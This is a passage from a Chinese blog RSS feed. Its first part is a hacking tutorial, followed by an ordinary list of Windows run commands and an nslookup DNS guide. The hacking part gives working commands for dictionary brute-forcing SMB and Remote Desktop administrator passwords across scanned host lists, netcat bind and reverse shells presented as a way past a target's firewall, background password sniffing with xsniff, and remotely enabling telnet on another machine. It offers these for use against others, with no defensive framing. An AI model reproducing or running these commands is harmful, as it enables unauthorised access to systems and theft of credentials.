(D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br>存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。 <br><br>#7 七： <br><br>2：if命令及变量 基本格式： <br>IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为"真"。 <br>例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。 <br>0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br>IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。 <br>例："if "%2%"=="4" goto start"指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） <br>IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。 <br>例："if not nc.exe goto end"指：如果没有发现nc.exe文件就跳到":end"标签处。 <br>IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如："if exist test.txt. else echo test.txt.missing "，注意命令中的"." <br><br><br>（二）系统外部命令(均需下载相关工具)： <br><br>1、瑞士军刀：nc.exe <br><br>参数说明： <br>-h 查看帮助信息 <br>-d 后台模式 <br>-e prog程序重定向，一但连接就执行［危险］ <br>-i secs延时的间隔 <br>-l 监听模式，用于入站连接 <br>-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br>-n IP地址，不能用域名 <br>-o film记录16进制的传输 <br>-p[空格]端口 本地端口号 <br>-r 随机本地及远程端口 <br>-t 使用Telnet交互方式 <br>-u UDP模式 <br>-v 详细输出，用-vv将更详细 <br>-w数字 timeout延时间隔 <br>-z 将输入，输出关掉（用于扫锚时） <br>基本用法： <br>nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br>nc -l -p 80 开启本机的TCP 80端口并监听 <br>nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br>nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br>nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br>高级用法： <br>nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br>nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br>nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br>type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br>本机上用：nc -l -p 本机端口 <br>在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K <br>nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br>本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br>在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br>备 注： <br>| 管道命令 <br>&lt; 或 &gt; 重定向命令。"&lt;"，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br>＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br>&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。 <br>如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。 <br><br>#8 八： <br><br>2、扫锚工具：xscan.exe <br><br>基本格式 <br>xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br>xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br>检测项目 <br>-active 检测主机是否存活 <br>-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br>-port 检测常用服务的端口状态 <br>-ftp 检测FTP弱口令 <br>-pub 检测FTP服务匿名用户写权限 <br>-pop3 检测POP3-Server弱口令 <br>-smtp 检测SMTP-Server漏洞 <br>-sql 检测SQL-Server弱口令 <br>-smb 检测NT-Server弱口令 <br>-iis 检测IIS编码/解码漏洞 <br>-cgi 检测CGI漏洞 <br>-nasl 加载Nessus攻击脚本 <br>-all 检测以上所有项目 <br>其它选项 <br>-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br>-l 显示所有网络适配器 <br>-v 显示详细扫描进度 <br>-p 跳过没有响应的主机 <br>-o 跳过没有检测到开放端口的主机 <br>　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br>-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br>用法示例 <br>xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br>xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br>xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机 <br><br>#9 九： <br><br>3、命令行方式嗅探器: xsniff.exe <br>可捕获局域网内FTP/SMTP/POP3/HTTP协议密码 <br>参数说明 <br>-tcp 输出TCP数据报 <br>-udp 输出UDP数据报 <br>-icmp 输出ICMP数据报 <br>-pass 过滤密码信息 <br>-hide 后台运行 <br>-host 解析主机名 <br>-addr IP地址 过滤IP地址 <br>-port 端口 过滤端口 <br>-log 文件名 将输出保存到文件 <br>-asc 以ASCII形式输出 <br>-hex 以16进制形式输出 <br>用法示例 <br>xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br>xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 <br><br>4、终端服务密码破解: tscrack.exe <br><br>参数说明 <br>-h 显示使用帮助 <br>-v 显示版本信息 <br>-s 在屏幕上打出解密能力 <br>-b 密码错误时发出的声音 <br>-t 同是发出多个连接（多线程） <br>-N Prevent System Log entries on targeted server <br>-U 卸载移除tscrack组件 <br>-f 使用－f后面的密码 <br>-F 间隔时间（频率） <br>-l 使用－l后面的用户名 <br>-w 使用－w后面的密码字典 <br>-p 使用－p后面的密码 <br>-D 登录主页面 <br>用法示例 <br>tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 <br>tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 <br>@if not exist ipcscan.txt goto noscan <br>@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br>nscan <br>@echo 3389.txt no find or scan faild <br>(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br>3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br>@if not exist tscrack.exe goto noscan <br>@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt <br>:noscan <br>@echo tscrack.exe no find or scan faild <br>(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br>hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 <br><br>5、其它： <br><br>Shutdown.exe <br>Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br>fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br>fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息 <br>Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br>OpenTelnet.exe (远程开启telnet工具) <br>opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。 <br>NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。 <br><br>ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br>resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。 <br><br>#10 十： <br><br>6、FTP命令详解： <br><br>FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。 <br><br>FTP的命令行格式为： <br>ftp -v -d -i -n -g [主机名] ，其中 <br><br>-v 显示远程服务器的所有响应信息； <br><br>-n 限制ftp的自动登录，即不使用；.n etrc文件； <br><br>-d 使用调试方式； <br><br>-g 取消全局文件名。 <br><br>FTP使用的内部命令如下(中括号表示可选项): <br><br>1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br>2.$ macro-ame[args]： 执行宏定义macro-name。 <br><br>3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br>4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。 <br><br>5.ascii：使用ascii类型传输方式。 <br>6.bell：每个命令执行完毕后计算机响铃一次。 <br><br>7.bin：使用二进制文件传输方式。 <br>8.bye：退出ftp会话过程。 <br><br>9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br>10.cd remote-dir：进入远程主机目录。 <br><br>11.cdup：进入远程主机目录的父目录。 <br>12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。 <br><br>13.close：中断与远程服务器的ftp会话(与open对应)。 <br>14.cr：使用asscii方式传输文件时，将回车换行转换为回行。 <br><br>15.delete remote-file：删除远程主机文件。 <br>16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。 <br><br>17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br>18.disconnection：同close。 <br><br>19.form format：将文件传输方式设置为format，缺省为file方式。 <br>20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。 <br><br>21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br>22.hash：每传输1024字节，显示一个hash符号(#)。 <br><br>23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br>24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。 <br><br>25.image：设置二进制传输方式(同binary)。 <br>26.lcd[dir]：将本地工作目录切换至dir。 <br><br>27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br>28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。 <br><br>29.mdelete[remote-file]：删除远程主机文件。 <br>30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。 <br><br>31.mget remote-files：传输多个远程文件。 <br>32.mkdir dir-name：在远程主机中建一目录。 <br><br>33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br>34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。 <br><br>35.modtime file-name：显示远程主机文件的最后修改时间。 <br>36.mput local-file：将多个文件传输至远程主机。 <br><br>37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。 <br>38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。 <br><br>39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。 <br>40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。 <br><br>41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br>42.passive：进入被动传输方式。 <br><br>43.prompt：设置多个文件传输时的交互提示。 <br>44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。 <br>45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br>46.pwd：显示远程主机的当前工作目录。 <br><br>47.quit：同bye，退出ftp会话。 <br>48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst. <br><br>49.recv remote-file[local-file]：同get。 <br>50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。 <br><br>51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br>52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。 <br><br>53.rename[from][to]：更改远程主机文件名。 <br>54.reset：清除回答队列。 <br><br>55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br>56.rmdir dir-name：删除远程主机目录。 <br><br>57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br>58.send local-file[remote-file]：同put。 <br><br>59.sendport：设置PORT命令的使用。 <br>60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。 <br><br>61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br>62.status：显示当前ftp状态。 <br><br>63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br>64.sunique：将远程主机文件名存储设置为只一(与runique对应)。 <br><br>65.system：显示远程主机的操作系统类型。 <br>66.tenex：将文件传输类型设置为TENEX机的所需的类型。 <br><br>67.tick：设置传输时的字节计数器。 <br>68.trace：设置包跟踪。 <br><br>69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br>70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3 <br><br>71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 <br>72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on. <br><br>73.?[cmd]：同help. <br><br>#11 十一： <br><br>7：计算机运行命令全集 winver---------检查Windows版本 <br>wmimgmt.msc----打开windows管理体系结构 <br>wupdmgr--------windows更新程序 <br>winver---------检查Windows版本 <br>wmimgmt.msc----打开windows管理体系结构 <br>wupdmgr--------windows更新程序 <br>wscript--------windows脚本宿主设置 <br>write----------写字板winmsd-----系统信息 <br>wiaacmgr-------扫描仪和照相机向导 <br>winchat--------XP自带局域网聊天 <br>mem.exe--------显示内存使用情况 <br>Msconfig.exe---系统配置实用程序 <br>mplayer2-------简易widnows media player <br>mspaint--------画图板 <br>mstsc----------远程桌面连接 <br>mplayer2-------媒体播放机 <br>magnify--------放大镜实用程序 <br>mmc------------打开控制台 <br>mobsync--------同步命令 <br>dxdiag---------检查DirectX信息 <br>drwtsn32------ 系统医生 <br>devmgmt.msc--- 设备管理器 <br>dfrg.msc-------磁盘碎片整理程序 <br>diskmgmt.msc---磁盘管理实用程序 <br>dcomcnfg-------打开系统组件服务 <br>ddeshare-------打开DDE共享设置 <br>dvdplay--------DVD播放器 <br>net stop messenger-----停止信使服务 <br>net start messenger----开始信使服务 <br>notepad--------打开记事本 <br>nslookup-------网络管理的工具向导 <br>ntbackup-------系统备份和还原 <br>narrator-------屏幕"讲述人" <br>ntmsmgr.msc----移动存储管理器 <br>ntmsoprq.msc---移动存储管理员操作请求 <br>netstat -an----(TC)命令检查接口 <br>syncapp--------创建一个公文包 <br>sysedit--------系统配置编辑器 <br>sigverif-------文件签名验证程序 <br>sndrec32-------录音机 <br>shrpubw--------创建共享文件夹 <br>secpol.msc-----本地安全策略 <br>syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 <br>services.msc---本地服务设置 <br>Sndvol32-------音量控制程序 <br>sfc.exe--------系统文件检查器 <br>sfc /scannow---windows文件保护 <br>tsshutdn-------60秒倒计时关机命令 <br>tourstart------xp简介（安装完成后出现的漫游xp程序） <br>taskmgr--------任务管理器 <br>eventvwr-------事件查看器 <br>eudcedit-------造字程序 <br>explorer-------打开资源管理器 <br>packager-------对象包装程序 <br>perfmon.msc----计算机性能监测程序 <br>progman--------程序管理器 <br>regedit.exe----注册表 <br>rsop.msc-------组策略结果集 <br>regedt32-------注册表编辑器 <br>rononce -p ----15秒关机 <br>regsvr32 /u *.dll----停止dll文件运行 <br>regsvr32 /u zipfldr.dll------取消ZIP支持 <br>cmd.exe--------CMD命令提示符 <br>chkdsk.exe-----Chkdsk磁盘检查 <br>certmgr.msc----证书管理实用程序 <br>calc-----------启动计算器 <br>charmap--------启动字符映射表 <br>cliconfg-------SQL SERVER 客户端网络实用程序 <br>Clipbrd--------剪贴板查看器 <br>conf-----------启动netmeeting <br>compmgmt.msc---计算机管理 <br>cleanmgr-------**整理 <br>ciadv.msc------索引服务程序 <br>osk------------打开屏幕键盘 <br>odbcad32-------ODBC数据源管理器 <br>oobe/msoobe /a----检查XP是否激活 <br>lusrmgr.msc----本机用户和组 <br>logoff---------注销命令 <br>iexpress-------木马捆绑工具，系统自带 <br>Nslookup-------IP地址侦测器 <br>fsmgmt.msc-----共享文件夹管理器 <br>utilman--------辅助工具管理器 <br>gpedit.msc-----组策略 <br><br>
<img src ="http://www.cppblog.com/luketowne/aggbug/82214.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-08 10:39 <a href="http://www.cppblog.com/luketowne/articles/82214.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>系统探索之深入挖掘windows自带实用工具</title><link>http://www.cppblog.com/luketowne/articles/82121.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Thu, 07 May 2009 00:57:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/82121.html</guid><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 我的实验环境是windows xp和windows 2003我们知道，在windows中是有很多的命令行工具是可以在cmdline下运行的，通俗的讲就是我常用的命令。我们在图形界面下设置系统的相关设置的时候，有很多的时候就是调用这些小工具进行调整！在我们日常的系统维护和安全防护中，时常用到一些工具，比如net,ipconfig,ping,netstat等，但是又有多少的人去挖掘过系统的那些不是经常...&nbsp;&nbsp;<a href='http://www.cppblog.com/luketowne/articles/82121.html'>阅读全文</a><img src ="http://www.cppblog.com/luketowne/aggbug/82121.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-07 08:57 <a href="http://www.cppblog.com/luketowne/articles/82121.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>nslookup工具的使用方法</title><link>http://www.cppblog.com/luketowne/articles/81947.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Tue, 05 May 2009 07:59:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/81947.html</guid><description><![CDATA[　配置好DNS服务器，添加了相应的记录之后，只要IP地址保持不变，一般情况下我们就不再需要去维护DNS的数据文件了。不过在确认域名解释正常之前我们最好是测试一下所有的配置是否正常。许多人会简单地使用ping命令检查一下就算了。不过Ping指令只是一个检查网络联通情况的命令，虽然在输入的参数是域名的情况下会通过DNS进行查询，但是它只能查询A类型和CNAME类型的记录，而且只会告诉你域名是否存在，其他的信息一概欠奉。所以如果你需要对DNS的故障进行排错就必须熟练另一个更强大的工具nslookup。这个命令可以指定查询的类型，可以查到DNS记录的生存时间还可以指定使用那个DNS服务器进行解释。<br><br>　　查询IP地址<br><br>　　nslookup最简单的用法就是查询域名对应的IP地址，包括A记录和CNAME记录，如果查到的是CNAME记录还会返回别名记录的设置情况。其用法是：<br><br>　　nslookup 域名<br><br>　　以下是A记录的返回情况。
<p align=center><img src="http://www.5dmail.net/pic/2003/11/14/1019001.gif" align=center></p>
　　nslookup命令会采用先反向解释获得使用的DNS服务器的名称，由于我这里使用的是一个内部的DNS服务器所以没有正确的反向记录，导致结果的前面几行出错。大家可以不必理会。重点看的是最后的两行这里看到的是www.oray.net的IP地址是61.145.112.212。注意即使www.oray.net的主机没有在线同样能够返回结果。<br><br>　　如果目标域名是一个别名记录(CNAME)，nslookup就开始显示出和ping命令不同的地方了，请看查询CNAME记录的结果。由于CNAME和A记录最后都是活的IP地址，所以一般情况下两者是等同看待的，命令的格式相同。
<p align=center><img src="http://www.5dmail.net/pic/2003/11/14/1019002.gif" align=center></p>
<p>　　注意这次nslookup返回了三行信息，前两行显示这是一个CNAME记录，对应的域名和IP地址。最后显示的就是目标域名， 并注明Alias（别名）。</p>
<p>如果域名不存在会怎样呢？ </p>
<p align=center><img height=165 src="http://www.5dmail.net/pic/2003/11/14/1019003.gif" width=478 align=center></p>
<p>　　看得懂最后以行的英文吗，不懂没关系记住形状就可以了。如果一个指定类型的域名不存在对应的记录同样也是这种结果。<br><br>　　查询其他类型的域名<br><br>　　前面两个命令我们没有加任何参数，所以默认情况下nslookup查询的是A类型的记录。如果我们配置了其他类型的记录希望看到解释是否正常。这时候ping就无能为力了。比如我们配置了MX记录，但是邮件服务器只能发信不能收信，到底是域名解释问题还是其他的问题Ping命令的检查只能让你误入歧途。nslookup 这时候可以模拟你的其他遇见服务器进行域名解释的情况。我们需要在nslookup上加上适当的参数。指定查询记录类型的指令格式如下：<br><br>　　nslookup &#8211;qt=类型 目标域名<br><br>　　注意qt必须小写。<br><br>　　类型可以是一下字符，不区分大小写：<br><br>　　A 地址记录(Ipv4)<br>　　AAAA 地址记录（Ipv6）<br>　　AFSDB Andrew文件系统数据库服务器记录（不懂）<br>　　ATMA ATM地址记录（不是自动提款机）<br>　　CNAME 别名记录<br>　　HINFO 硬件配置记录，包括CPU、操作系统信息<br>　　ISDN 域名对应的ISDN号码<br>　　MB 存放指定邮箱的服务器<br>　　MG 邮件组记录<br>　　MINFO 邮件组和邮箱的信息记录<br>　　MR 改名的邮箱记录<br>　　MX 邮件服务器记录<br>　　NS 名字服务器记录<br>　　PTR 反向记录（从IP地址解释域名）<br>　　RP 负责人记录<br>　　RT 路由穿透记录（不懂）<br>　　SRV TCP服务器信息记录（将有大用处）<br>　　TXT 域名对应的文本信息<br>　　X25 域名对应的X.25地址记录<br><br>看看oray.net的邮件服务器记录吧。 </p>
<p align=center><img height=172 src="http://www.5dmail.net/pic/2003/11/14/1019004.gif" width=502 align=center></p>
<p>　　看看，nslookup把服务器的名称和地址都给出来了，注意preference就是前面所说的优先级，该数值越小则优先级越高。<br><br>　　我再看看名字服务器记录是怎么样的。 </p>
<p align=center><img height=199 src="http://www.5dmail.net/pic/2003/11/14/1019005.gif" width=480 align=center></p>
<p>　　看起来和MX记录的格式差不多，一般情况下服务器会同时返回对应的地址。不过也有不返回的情况。<br><br>　　在这里我希望大家注意一行显示&#8220;Non-suthoritativeanswer:&#8221;，这一行在前面的例子中都没有显示过。它的出现代表这个结果是从服务器的缓存中得到的。所以提醒你这不是一个授权的答案。前面我们进行的几次查询过程中192.168.1.104这台机器就采用了我们第一篇文章中描述的过程查询了oray.net的域名。在这个过程中不但缓存了www.oray.net、test.oray.net以及oray.net的MX记录等最终结果。也包括获取的名字服务器等中间结果。隐含的查询了oray.net的NS记录。后面我们还会介绍这个过程。<br><br>　　指定使用的名字服务器<br><br>　　在默认情况下nslookup使用的是我们在本机TCP/IP配置中的DNS服务器进行查询，但有时候我们需要指定一个特定的服务器进行查询试验。这时候我们不需要更改本机的TCP/IP配置，只要在命令后面加上指定的服务器IP或者域名就可以了。这个参数在我们对一台指定服务器排错是非常必要的，另外我们可以通过指定服务器直接查询授权服务器的结果避免其他服务器缓存的结果。命令格式如下：<br><br>　　nslookup [-qt=类型] 目标域名 指定的DNS服务器IP或域名<br><br>　　我们可看看以下的命令结果： </p>
<p align=center><img style="WIDTH: 421px; HEIGHT: 436px" height=484 src="http://www.5dmail.net/pic/2003/11/14/1019006.gif" width=489 align=center></p>
<p align=left>这个命令直接从顶级域名服务器查询oray.net的NS记录。所有的二级域名的NS记录都存放在顶级域名服务器中，这是最权威的解释。注意这次没有非授权结果的提示。对于二级域名的NS记录查询来说这肯定是授权结果。顶级域名服务器的名称是a到j.gtld-servers.net共十台服务器。(gtld是Global Top Level Domain的缩写)。当我们修改域名的NS记录的时候可以通过上述查询知道修改的结果是不是已经在顶级域名服务器上生效。不过即使已经生效也可能不能正常解释，注意我在上一篇文章中提到的缓存时间的问题。<br><br>　　那么到底缓存多久呢？<br><br>　　检查域名的缓存时间<br><br>　　检查域名的缓存时间需要我们使用一个新的参数：-d<br><br>　　格式如下：<br><br>　　nslookup &#8211;d [其他的参数] 目标域名 [指定的服务器地址]<br><br>　　请看范例 </p>
<p align=center><img src="http://www.5dmail.net/pic/2003/11/14/1019007.gif" align=center></p>
<p align=left>　　我们忽略其他的看看Got answer后面几行，包括了一个ttl数值。这个数值就是域名记录的生存时间。<br><br>　　这种查询将整个DNS数据包的所有部分都揭示出来，大家可以看到DNS实际上并不是想象中那么简单的东西。具体的各部分解释大家可以去看看相关的标准文档。需要提醒大家的是一定要找到ANSWER:的内容，其他的东西都不是描述最终的结果。上面就不止一个地方又TTL数值。</p>
<p align=left>域名解释过程的模拟<br><br>　　我们现在来模拟一下一台DNS服务器接到一个不是自己管理的域的域名解释过程。回忆一下第一篇文章的过程：<br><br>　　首先我们会询问根服务器，然后根服务器会让我们去找对应的顶级服务器。如果查询的是oray.net，就会要求我们去找net的服务器。<br><br>　　看看下面的范例：<br><br>　　这里我们让21cn.com的服务器解释www.oicp.net的域名，很显然这台服务器不用有这个域，需要询问根服务器。一般情况下DNS服务器会帮我们完成全部的过程。这种解释方式我们称之为递归解析，为了让大家看到这个过程我家了一个参数让21cn.com的服务器不要这样做。这个参数是-norecurse。这样理论上21cn.com会让我们去问根服务器，不过由于它已经缓存了顶级服务器的记录，所以直接返回了管理net的顶级服务器记录。实际上大部分的查询都不需要从根服务器开始。大家看到了所有的顶级域名服务器的地址都被返回。<br><br>　　我们随便选择一个在进行查询。 </p>
<p align=center><img src="http://www.5dmail.net/pic/2003/11/14/1019008.gif" align=center></p>
<p align=left>　　这次顶级服务器就返回了oicp.net的服务器地址记录的。然后我们就向这些记录之一进行查询，一定能够得到答案。可能是一个地址、一个CNAME记录或者告诉你不存在。<br><br>　　nslookup的命令就介绍到这里，其实nslookup还有许多其他参数。不过常用的就俄这么几个，另外如果大家不喜欢命令行方式的话。还有几个图形界面的nslookup功能的工具。不过大家还是需要了解域名解释都有些什么才能够正确使用这些工具。 </p>
<img src ="http://www.cppblog.com/luketowne/aggbug/81947.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-05 15:59 <a href="http://www.cppblog.com/luketowne/articles/81947.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>